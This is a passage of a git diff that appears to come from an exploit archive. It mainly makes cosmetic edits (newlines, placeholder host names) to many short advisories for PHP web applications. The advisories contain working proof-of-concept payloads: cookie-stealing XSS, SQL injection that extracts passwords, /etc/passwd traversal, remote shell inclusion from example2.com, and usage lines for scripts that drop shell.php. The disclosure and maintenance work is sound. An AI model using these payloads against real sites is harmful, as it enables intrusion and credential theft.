+http://www.example.com/wordpress/wp-content/plugins/xorbin-analog-flash-clock/media/xorAnalogClock.swf#?urlWindow=_self&widgetUrl=javascript:alert(1); \ No newline at end of file diff --git a/platforms/php/webapps/3861.txt b/platforms/php/webapps/3861.txt index 5e4cf1ec4..e806dc2be 100755 --- a/platforms/php/webapps/3861.txt +++ b/platforms/php/webapps/3861.txt @@ -13,7 +13,7 @@ # #BUG: # -#Example:http://server/path/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=[[Sh3LL +#Example:http://site.com/path/noah/modules/noevents/templates/mfa_theme.php?tpls[1]=[[Sh3LL Script]] # #Script Download diff --git a/platforms/php/webapps/38621.txt b/platforms/php/webapps/38621.txt index 88605af53..22c7ecea2 100755 --- a/platforms/php/webapps/38621.txt +++ b/platforms/php/webapps/38621.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Xorbin Digital Flash Clock 1.0 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/xorbin-digital-flash-clock/media/xorDigitalClock.swf#?widgetUrl=javascript:alert(1); \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/xorbin-digital-flash-clock/media/xorDigitalClock.swf#?widgetUrl=javascript:alert(1); \ No newline at end of file diff --git a/platforms/php/webapps/38624.txt b/platforms/php/webapps/38624.txt index 91ae69e43..ff7f945fe 100755 --- a/platforms/php/webapps/38624.txt +++ b/platforms/php/webapps/38624.txt @@ -4,4 +4,4 @@ WP Feed plugin for WordPress is prone to an SQL-injection vulnerability because Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/feed/news_dt.php?nid=[Sql] \ No newline at end of file +http://www.example.com/wp-content/plugins/feed/news_dt.php?nid=[Sql] \ No newline at end of file diff --git a/platforms/php/webapps/38625.txt b/platforms/php/webapps/38625.txt index 0845a9dfe..6f41496ef 100755 --- a/platforms/php/webapps/38625.txt +++ b/platforms/php/webapps/38625.txt @@ -4,4 +4,4 @@ The Category Grid View Gallery plugin for WordPress is prone to a cross-site-scr An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1172[xss] \ No newline at end of file +http://www.example.com/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1172[xss] \ No newline at end of file diff --git a/platforms/php/webapps/38628.txt b/platforms/php/webapps/38628.txt index c0e137d34..cf2ca40b1 100755 --- a/platforms/php/webapps/38628.txt +++ b/platforms/php/webapps/38628.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to gain unauthorized access to the affected app HostBill 4.6.0 is vulnerable; other versions may also be affected. -www.example.com/includes/cpupdate.php?do=backup&filename=../templates_c/DB_Dump.txt&login_username=0&password=0 \ No newline at end of file +www.example.com/includes/cpupdate.php?do=backup&filename=../templates_c/DB_Dump.txt&login_username=0&password=0 \ No newline at end of file diff --git a/platforms/php/webapps/38630.html b/platforms/php/webapps/38630.html index 4c3c427db..7be1bed2f 100755 --- a/platforms/php/webapps/38630.html +++ b/platforms/php/webapps/38630.html @@ -9,4 +9,4 @@ phpVibe 3.1 is vulnerable; other versions may also be affected. http://www.example.com/phpVibe/index.php?com_handler=[EV!L] http://www.example.com/phpVibe/app/classes/language.php?LANGUAGE_DIR=[EV!L] http://www.example.com/phpVibe/app/classes/language.php?lang=[EV!L] -http://www.example.com/setup/application/views/displays/modules/backups/ \ No newline at end of file +http://www.example.com/setup/application/views/displays/modules/backups/ \ No newline at end of file diff --git a/platforms/php/webapps/38635.txt b/platforms/php/webapps/38635.txt index 65dfc50e0..6fe83f495 100755 --- a/platforms/php/webapps/38635.txt +++ b/platforms/php/webapps/38635.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc iVote 1.0.0 is vulnerable; other versions may be affected. -http://www.example.com/iVote/details.php?id=1 union select 1,password,3,4 from settings \ No newline at end of file +http://www.example.com/iVote/details.php?id=1 union select 1,password,3,4 from settings \ No newline at end of file diff --git a/platforms/php/webapps/38638.txt b/platforms/php/webapps/38638.txt index 35781dee0..3f02a9326 100755 --- a/platforms/php/webapps/38638.txt +++ b/platforms/php/webapps/38638.txt @@ -9,4 +9,4 @@ Mintboard 0.3 is vulnerable; other versions may also be affected. http://www.example.com/?login=3 (POST: name) http://www.example.com/?login=3 (POST: pass) http://www.example.com/?signup=3 (POST: name) -http://www.example.com/?signup=3 (POST: pass) \ No newline at end of file +http://www.example.com/?signup=3 (POST: pass) \ No newline at end of file diff --git a/platforms/php/webapps/38642.txt b/platforms/php/webapps/38642.txt index 320a412a3..d0e60a707 100755 --- a/platforms/php/webapps/38642.txt +++ b/platforms/php/webapps/38642.txt @@ -10,4 +10,4 @@ http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Btextar &serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117 &serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117 -http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117 \ No newline at end of file +http://www.example.com/serendipity_admin_image_selector.php?serendipity%5Bhtmltarget%5D=%27%2Balert(0x000A02)%2B%27&serendipity%5Baction%5D=208.100.0.117&serendipity%5BadminAction%5D=208.100.0.117&serendipity%5BadminModule%5D=208.100.0.117&serendipity%5Bstep%5D=default&serendipity%5Bonly_path%5D=208.100.0.117 \ No newline at end of file diff --git a/platforms/php/webapps/38643.txt b/platforms/php/webapps/38643.txt index 7da286d40..e70b5841a 100755 --- a/platforms/php/webapps/38643.txt +++ b/platforms/php/webapps/38643.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Pie Register 1.30 is vulnerable; other versions may also be affected. <?php echo $_POST['pass1'];?> -<?php echo $_POST['pass2'];?> \ No newline at end of file +<?php echo $_POST['pass2'];?> \ No newline at end of file diff --git a/platforms/php/webapps/3865.txt b/platforms/php/webapps/3865.txt index b8528cf8d..65cd7468e 100755 --- a/platforms/php/webapps/3865.txt +++ b/platforms/php/webapps/3865.txt @@ -56,7 +56,7 @@ __________§§§§§______§§§§§§____________________ # #BUG1: # -#Example1:http://server/path/dosearch.php?RESPATH=[[Sh3LL Script]] +#Example1:http://site.com/path/dosearch.php?RESPATH=[[Sh3LL Script]] # # # @@ -69,7 +69,7 @@ __________§§§§§______§§§§§§____________________ #include("$RESPATH/inc/tabcss.inc"); ?> #BUG2: # -#Example2:http://server/path/printfriendly.php?RESPATH=[[Sh3LL Script]] +#Example2:http://site.com/path/printfriendly.php?RESPATH=[[Sh3LL Script]] #Script Download ############################################################################# # diff --git a/platforms/php/webapps/38656.html b/platforms/php/webapps/38656.html index 9721f76f0..3b2fa3792 100755 --- a/platforms/php/webapps/38656.html +++ b/platforms/php/webapps/38656.html @@ -12,4 +12,4 @@ PrestaShop 1.5.4 is vulnerable; other versions may also be affected. <img src="http://www.example.com/language/cart?add=&id_product=[Product ID]" width=0 height=0> </body> </head> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/php/webapps/38673.txt b/platforms/php/webapps/38673.txt index 5a53b93fe..992d9a05b 100755 --- a/platforms/php/webapps/38673.txt +++ b/platforms/php/webapps/38673.txt @@ -18,4 +18,4 @@ https://www.example.com/secprj/managechat.php?userto=<SCRIPT/XSS SRC="http://www Security-bypass: -https://www.example.com/secprj/manageuser.php?action=del&id=5 \ No newline at end of file +https://www.example.com/secprj/manageuser.php?action=del&id=5 \ No newline at end of file diff --git a/platforms/php/webapps/38674.txt b/platforms/php/webapps/38674.txt index fb2eddbaa..a2ef0ae47 100755 --- a/platforms/php/webapps/38674.txt +++ b/platforms/php/webapps/38674.txt @@ -4,4 +4,4 @@ The FlagEm plugin for WordPress is prone to a cross-site-scripting vulnerability An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/wp-content/plugins/FlagEm/flagit.php?cID=[Xss] \ No newline at end of file +http://www.example.com/wp-content/plugins/FlagEm/flagit.php?cID=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/38676.txt b/platforms/php/webapps/38676.txt index 778cedfa0..f40d4f976 100755 --- a/platforms/php/webapps/38676.txt +++ b/platforms/php/webapps/38676.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Duplicator 0.4.4 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file +http://www.example.com/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/38677.txt b/platforms/php/webapps/38677.txt index 09f259b72..5206740c3 100755 --- a/platforms/php/webapps/38677.txt +++ b/platforms/php/webapps/38677.txt @@ -28,7 +28,7 @@ WHERE threadid = '$threadid' } POC You will need Admincp Access then go to -server/admincp/force_read_thread.php then in the force read order colum +site.com/admincp/force_read_thread.php then in the force read order colum put a ' into one of them to show this Database error in vBulletin 4.2.1: diff --git a/platforms/php/webapps/38689.txt b/platforms/php/webapps/38689.txt index 33f9ab38f..837ed65c9 100755 --- a/platforms/php/webapps/38689.txt +++ b/platforms/php/webapps/38689.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to gain access to sensitive information that SilverStripe 3.0.3 is vulnerable; other versions may also be affected. -http://<X.X.X.X:Port>/Security/LoginForm?AuthenticationMethod=MemberAuthenticator&Email=<email>&Password=<password>&BackURL=%2Fadmin%2Fpages&action_dologin=Log+in \ No newline at end of file +http://<X.X.X.X:Port>/Security/LoginForm?AuthenticationMethod=MemberAuthenticator&Email=<email>&Password=<password>&BackURL=%2Fadmin%2Fpages&action_dologin=Log+in \ No newline at end of file diff --git a/platforms/php/webapps/38693.txt b/platforms/php/webapps/38693.txt index 243490fa9..7d130c471 100755 --- a/platforms/php/webapps/38693.txt +++ b/platforms/php/webapps/38693.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to upload arbitrary files to the affected co Advanced Guestbook 2.4.3 is vulnerable; other versions may also be affected. -http://www.example.com.tw/guestbook/addentry.php \ No newline at end of file +http://www.example.com.tw/guestbook/addentry.php \ No newline at end of file diff --git a/platforms/php/webapps/38695.txt b/platforms/php/webapps/38695.txt index 3686f37c2..9da920906 100755 --- a/platforms/php/webapps/38695.txt +++ b/platforms/php/webapps/38695.txt @@ -8,4 +8,4 @@ CakePHP 2.2.8 and 2.3.7 are vulnerable; other versions may also be affected. http://www.example.com/cakephp-2.3.7/theme/Test1/%2e.//%2e.//%2e.//%2e. //%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd -http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd \ No newline at end of file +http://www.example.com/cakephp-2.3.7/DebugKit/%2e.//%2e.//%2e.//%2e.// %2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e.//%2e./etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/38697.txt b/platforms/php/webapps/38697.txt index 60a8b0d73..f1d5f81d6 100755 --- a/platforms/php/webapps/38697.txt +++ b/platforms/php/webapps/38697.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files or execute arbitrary sc ACal 2.2.6 is vulnerable; other versions may also be affected. -http://www.example.com/calendar/embed/example/example.php?view=../../etc/passwd%00 \ No newline at end of file +http://www.example.com/calendar/embed/example/example.php?view=../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/3870.txt b/platforms/php/webapps/3870.txt index 971196f29..2a2d29ee3 100755 --- a/platforms/php/webapps/3870.txt +++ b/platforms/php/webapps/3870.txt @@ -53,7 +53,7 @@ __________§§§§§______§§§§§§_________________________ # #BUG1: # -#Example1:http://server/path/views/print/printbar.php?views_path=[[Sh3LL Script]] +#Example1:http://site.com/path/views/print/printbar.php?views_path=[[Sh3LL Script]] # # #Script Download diff --git a/platforms/php/webapps/38712.txt b/platforms/php/webapps/38712.txt index 3f5273da7..03d896cab 100755 --- a/platforms/php/webapps/38712.txt +++ b/platforms/php/webapps/38712.txt @@ -10,4 +10,4 @@ http://www.example.com//view.php?go=userlist&ordered=1%27 [SQLi] http://www.example.com/view.php?go=userlist&ordered=1&usergroup=%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E [XSS] -http://www.example.com//view.php?go=userlist&ordered=1&usergroup="/><script>alert(1);</script> [XSS] \ No newline at end of file +http://www.example.com//view.php?go=userlist&ordered=1&usergroup="/><script>alert(1);</script> [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/38740.txt b/platforms/php/webapps/38740.txt index bfa70d5c8..98d96b601 100755 --- a/platforms/php/webapps/38740.txt +++ b/platforms/php/webapps/38740.txt @@ -6,4 +6,4 @@ Successful exploits of this issue lead to disclosure of sensitive information wh http://www.example.com/AcoraCMS/Admin/top.aspx -<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ4NjIxMDUxOQ9kFgJmD2QWAgIDD2QWAgIBD2QWCmYPFgIeBFRleHQFJERpZ2l0YWxTZWMgTmV0d29ya3MgV2Vic2l0ZWQCAQ8WAh8ABQpFbnRlcnByaXNlZAICDw8WAh8ABQt2NS40LjUvNGEtY2RkAgMPFgIfAAUgQW5vbnltb3VzIChQdWJsaWMgSW50ZXJuZXQgVXNlcilkAgQPDxYCHgdWaXNpYmxlaGRkZIL9u8OSlqqnBHGwtssOBV5lciAoCg" /></div> \ No newline at end of file +<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ4NjIxMDUxOQ9kFgJmD2QWAgIDD2QWAgIBD2QWCmYPFgIeBFRleHQFJERpZ2l0YWxTZWMgTmV0d29ya3MgV2Vic2l0ZWQCAQ8WAh8ABQpFbnRlcnByaXNlZAICDw8WAh8ABQt2NS40LjUvNGEtY2RkAgMPFgIfAAUgQW5vbnltb3VzIChQdWJsaWMgSW50ZXJuZXQgVXNlcilkAgQPDxYCHgdWaXNpYmxlaGRkZIL9u8OSlqqnBHGwtssOBV5lciAoCg" /></div> \ No newline at end of file diff --git a/platforms/php/webapps/38745.txt b/platforms/php/webapps/38745.txt index 2c8285ddd..36cc5ddd1 100755 --- a/platforms/php/webapps/38745.txt +++ b/platforms/php/webapps/38745.txt @@ -8,4 +8,4 @@ Xibo 1.4.2 is vulnerable; other versions may also be affected. POST: /index.php?p=layout&q=add&ajax=true -Data: layoutid=0&layout=Gimppy%3Cimg+src%3D42+onerror%3D'alert(%22InfoSec42%22)'%3E&description=%3Ciframe+src%3D'http%3A%2F%2Fsecurityevaluators.com'+width%3D1000+height%3D1000%3C%2Fiframe%3E&tags=&templateid=0 \ No newline at end of file +Data: layoutid=0&layout=Gimppy%3Cimg+src%3D42+onerror%3D'alert(%22InfoSec42%22)'%3E&description=%3Ciframe+src%3D'http%3A%2F%2Fsecurityevaluators.com'+width%3D1000+height%3D1000%3C%2Fiframe%3E&tags=&templateid=0 \ No newline at end of file diff --git a/platforms/php/webapps/38748.txt b/platforms/php/webapps/38748.txt index 9f7e6bc51..7cb0ec030 100755 --- a/platforms/php/webapps/38748.txt +++ b/platforms/php/webapps/38748.txt @@ -4,4 +4,4 @@ dBlog CMS is prone to an SQL-injection vulnerability because it fails to suffici Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/dblog/storico.asp?m=[Sql Injection] \ No newline at end of file +http://www.example.com/dblog/storico.asp?m=[Sql Injection] \ No newline at end of file diff --git a/platforms/php/webapps/3875.txt b/platforms/php/webapps/3875.txt index 6c40dfa11..eeceb1258 100755 --- a/platforms/php/webapps/3875.txt +++ b/platforms/php/webapps/3875.txt @@ -1,5 +1,5 @@ # PHPLojaFacil 0.1.5 (path_local) Remote File Inclusion Vulnerabilities -# D.Script: http://www.crieseuwebserver/php/download.php?categoria=E-Commerce&arquivo=24 +# D.Script: http://www.crieseuwebsite.com/php/download.php?categoria=E-Commerce&arquivo=24 # Discovered by: GolD_M = [Mahmood_ali] # Homepage: http://www.Tryag.Com/cc # Exploit:[Path]/ftp.php?path_local=Shell diff --git a/platforms/php/webapps/38755.txt b/platforms/php/webapps/38755.txt index 18653e03c..e9dded6e0 100755 --- a/platforms/php/webapps/38755.txt +++ b/platforms/php/webapps/38755.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc mukioplayer4wp 1.6 is vulnerable; other versions may also be affected. -http://www.example.com/videos/wp-content/plugins/mukioplayer-for-wordpress/php-scripts/get.php?cid=71866877%27 \ No newline at end of file +http://www.example.com/videos/wp-content/plugins/mukioplayer-for-wordpress/php-scripts/get.php?cid=71866877%27 \ No newline at end of file diff --git a/platforms/php/webapps/38756.txt b/platforms/php/webapps/38756.txt index 24228ebb3..498a93118 100755 --- a/platforms/php/webapps/38756.txt +++ b/platforms/php/webapps/38756.txt @@ -12,4 +12,4 @@ Attackers can exploit these issues to obtain sensitive information, upload arbit http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http:// http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example.com/big_file&h=1&w=1 -http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example2.com/shell.php \ No newline at end of file +http://www.example.com/wp-content/plugins/wp_roknewspager/thumb.php?src=http://www.example2.com/shell.php \ No newline at end of file diff --git a/platforms/php/webapps/38757.txt b/platforms/php/webapps/38757.txt index b1a9e61ee..232cca1d0 100755 --- a/platforms/php/webapps/38757.txt +++ b/platforms/php/webapps/38757.txt @@ -17,4 +17,4 @@ http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http:// http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example.com/big_file&h=1&w=1 -http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example2.com/shell.php \ No newline at end of file +http://www.example.com/wp-content/plugins/wp_rokstories/thumb.php?src=http://www.example2.com/shell.php \ No newline at end of file diff --git a/platforms/php/webapps/38767.txt b/platforms/php/webapps/38767.txt index cb8c67aec..66a094530 100755 --- a/platforms/php/webapps/38767.txt +++ b/platforms/php/webapps/38767.txt @@ -19,4 +19,4 @@ http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http http://www.example.com/wp-content/plugins/wp_rokintroscroller/thumb.php?src=http://www.example2.com/shell.php -http://www.example.com/wp-content/plugins/wp_rokintroscroller/rokintroscroller.php \ No newline at end of file +http://www.example.com/wp-content/plugins/wp_rokintroscroller/rokintroscroller.php \ No newline at end of file diff --git a/platforms/php/webapps/38768.txt b/platforms/php/webapps/38768.txt index 890b4510a..478580e0d 100755 --- a/platforms/php/webapps/38768.txt +++ b/platforms/php/webapps/38768.txt @@ -15,4 +15,4 @@ http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=http:// http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=http://www.example1.com/big_file&h=1&w=1 -http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=http://www.example2.com/shell.php \ No newline at end of file +http://www.example.com/wp-content/plugins/wp_rokmicronews/thumb.php?src=http://www.example2.com/shell.php \ No newline at end of file diff --git a/platforms/php/webapps/38769.txt b/platforms/php/webapps/38769.txt index 8acc8dd0a..81aedf3e1 100755 --- a/platforms/php/webapps/38769.txt +++ b/platforms/php/webapps/38769.txt @@ -16,4 +16,4 @@ Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept: */* -login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll \ No newline at end of file +login=-1' or 85 = '83&login_submit=Enter&password=lincoln.dll \ No newline at end of file diff --git a/platforms/php/webapps/38770.txt b/platforms/php/webapps/38770.txt index cf49b07b0..495670ed2 100755 --- a/platforms/php/webapps/38770.txt +++ b/platforms/php/webapps/38770.txt @@ -4,4 +4,4 @@ MentalJS is prone to a security-bypass vulnerability. An attacker can exploit this issue to bypass sandbox security restrictions and perform unauthorized actions; this may aid in launching further attacks. -http://www.example.com/demo/demo-deny-noescape.html?test=%3Cscript%3Edocument.body.innerHTML=%22%3Cform+onmouseover=javascript:alert(0);%3E%3Cinput+name=attributes%3E%22;%3C/script%3E \ No newline at end of file +http://www.example.com/demo/demo-deny-noescape.html?test=%3Cscript%3Edocument.body.innerHTML=%22%3Cform+onmouseover=javascript:alert(0);%3E%3Cinput+name=attributes%3E%22;%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/38777.txt b/platforms/php/webapps/38777.txt index 05c037ef4..188efb8d2 100755 --- a/platforms/php/webapps/38777.txt +++ b/platforms/php/webapps/38777.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc JVideoClip 1.5.1 is vulnerable; other versions may also be affected. -http://www.example/index.php?option=com_jvideoclip&view=search&type=user&uid=[SQLi]&Itemid=6 \ No newline at end of file +http://www.example/index.php?option=com_jvideoclip&view=search&type=user&uid=[SQLi]&Itemid=6 \ No newline at end of file diff --git a/platforms/php/webapps/38781.txt b/platforms/php/webapps/38781.txt index d2074c4a0..c9d04b9aa 100755 --- a/platforms/php/webapps/38781.txt +++ b/platforms/php/webapps/38781.txt @@ -8,4 +8,4 @@ Open Source SIEM (OSSIM) 4.3.0 and prior are vulnerable. http://www.example.com/RadarReport/radar-iso27001-potential.php?date_from=%Inject_Here% -http://www.example.com/RadarReport/radar-iso27001-A12IS_acquisition-pot.php?date_from=%Inject_Here% \ No newline at end of file +http://www.example.com/RadarReport/radar-iso27001-A12IS_acquisition-pot.php?date_from=%Inject_Here% \ No newline at end of file diff --git a/platforms/php/webapps/38782.php b/platforms/php/webapps/38782.php index b03330fc6..fd11b786d 100755 --- a/platforms/php/webapps/38782.php +++ b/platforms/php/webapps/38782.php @@ -19,8 +19,8 @@ EOT; $options = getopt('u:f:'); if(!isset($options['u'], $options['f'])) -die("\n Usage example: php IDC.php -u http://server/ -f shell.php\n --u http://server/ The full path to Joomla! +die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n +-u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n"); $url = $options['u']; diff --git a/platforms/php/webapps/38783.php b/platforms/php/webapps/38783.php index 8b3bfec11..53a3d4b66 100755 --- a/platforms/php/webapps/38783.php +++ b/platforms/php/webapps/38783.php @@ -18,8 +18,8 @@ EOT; $options = getopt('u:f:'); if(!isset($options['u'], $options['f'])) -die("\n Usage example: php IDC.php -u http://server/ -f shell.php\n --u http://server/ The full path to Joomla! +die("\n Usage example: php IDC.php -u http://target.com/ -f shell.php\n +-u http://target.com/ The full path to Joomla! -f shell.php The name of the file to create.\n"); $url = $options['u']; diff --git a/platforms/php/webapps/38784.txt b/platforms/php/webapps/38784.txt index 8129db952..def5ee10e 100755 --- a/platforms/php/webapps/38784.txt +++ b/platforms/php/webapps/38784.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to gain access to arbitrary system f Open Source SIEM (OSSIM) 4.3.3 is vulnerable; other versions may also be affected. -http://www.example.com/ossim/ocsreports/tele_compress.php?timestamp=../../../../etc/ossim \ No newline at end of file +http://www.example.com/ossim/ocsreports/tele_compress.php?timestamp=../../../../etc/ossim \ No newline at end of file diff --git a/platforms/php/webapps/38786.txt b/platforms/php/webapps/38786.txt index f135c6675..1a0520e35 100755 --- a/platforms/php/webapps/38786.txt +++ b/platforms/php/webapps/38786.txt @@ -4,4 +4,4 @@ Ziteman CMS is prone to an SQL-injection vulnerability because it fails to suffi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/admincss/default.asp \ No newline at end of file +http://www.example.com/admincss/default.asp \ No newline at end of file diff --git a/platforms/php/webapps/38790.pl b/platforms/php/webapps/38790.pl index 39cc161af..dae583768 100755 --- a/platforms/php/webapps/38790.pl +++ b/platforms/php/webapps/38790.pl @@ -18,7 +18,7 @@ use LWP::UserAgent; use LWP::Simple; $ua = LWP::UserAgent ->new; -print "\n\t Enter Target [ Example:http://server/forum/ ]"; +print "\n\t Enter Target [ Example:http://target.com/forum/ ]"; print "\n\n \t Enter Target : "; $Target=<STDIN>; chomp($Target); diff --git a/platforms/php/webapps/38799.txt b/platforms/php/webapps/38799.txt index f2224066d..8aec9a69c 100755 --- a/platforms/php/webapps/38799.txt +++ b/platforms/php/webapps/38799.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc http://example.com/auth.php (POST - user_id) -user_id=-1' or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' \ No newline at end of file +user_id=-1' or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+' \ No newline at end of file diff --git a/platforms/php/webapps/38800.txt b/platforms/php/webapps/38800.txt index f4ff9aa3a..7d840a127 100755 --- a/platforms/php/webapps/38800.txt +++ b/platforms/php/webapps/38800.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to execute arbitrary code in the context of t FreeSMS 2.1.2 is vulnerable; other versions may also be affected. -http://www.example.com/freesms/pages/crc_handler.php?method=evaluation&func=getanswers&scheduleid=15{SQL_HERE} \ No newline at end of file +http://www.example.com/freesms/pages/crc_handler.php?method=evaluation&func=getanswers&scheduleid=15{SQL_HERE} \ No newline at end of file diff --git a/platforms/php/webapps/38801.txt b/platforms/php/webapps/38801.txt index 664969551..e80beb3c6 100755 --- a/platforms/php/webapps/38801.txt +++ b/platforms/php/webapps/38801.txt @@ -9,4 +9,4 @@ FreeSMS 2.1.2 is vulnerable; other versions may also be affected. http://www.example.com/freesms/pages/crc_handler.php?method=profile&func=%3Cscript%3Ealert%28123%29%3C/script%3E http://www.example.com/FreeSMS/pages/crc_evaluation.php?crc=diggks5j3mlf6pee6knk34qq60&uid=3&course='"</script><script>alert(document.cookie)</script> http://www.example.com/FreeSMS/pages/crc_login.php?crc=diggks5j3mlf6pee6knk34qq60&uid='"</script><script>alert(document.cookie)</script> -http://www.example.com/FreeSMS/pages/crc_handler.php?method=register&func=add -> Username -> '"</script><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/FreeSMS/pages/crc_handler.php?method=register&func=add -> Username -> '"</script><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/38808.txt b/platforms/php/webapps/38808.txt index 1d964755d..d88727f8c 100755 --- a/platforms/php/webapps/38808.txt +++ b/platforms/php/webapps/38808.txt @@ -5,4 +5,4 @@ WP-Realty plugin for WordPress is prone to an SQL-injection vulnerability becaus A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. http://www.example.com/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi] -http://www.example.com/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wp-realty/index_ext.php?action=contact_friend&popup=yes&listing_id=[SQLi \ No newline at end of file diff --git a/platforms/php/webapps/38811.txt b/platforms/php/webapps/38811.txt index 688a138ef..0012c7d0a 100755 --- a/platforms/php/webapps/38811.txt +++ b/platforms/php/webapps/38811.txt @@ -4,4 +4,4 @@ The Daily Deal theme is prone to a vulnerability that lets attackers upload arbi An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. -http://www.example.com/wp-content/themes/DailyDeal/monetize/upload/ \ No newline at end of file +http://www.example.com/wp-content/themes/DailyDeal/monetize/upload/ \ No newline at end of file diff --git a/platforms/php/webapps/38842.txt b/platforms/php/webapps/38842.txt index e9ef5c73f..76998f559 100755 --- a/platforms/php/webapps/38842.txt +++ b/platforms/php/webapps/38842.txt @@ -7,4 +7,4 @@ An attacker can exploit these issues by manipulating the SQL query logic to carr Testa OTMS 2.0.0.2 is vulnerable; other version may also be vulnerable. http://www.example.com /?test_id=-1%27+union+select+1,group_concat%28id,0x3a,0x3a,admin_id,0x3a,0x3a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+settings--+ -http://www.example.com/test/admin/index.php \ No newline at end of file +http://www.example.com/test/admin/index.php \ No newline at end of file diff --git a/platforms/php/webapps/38843.txt 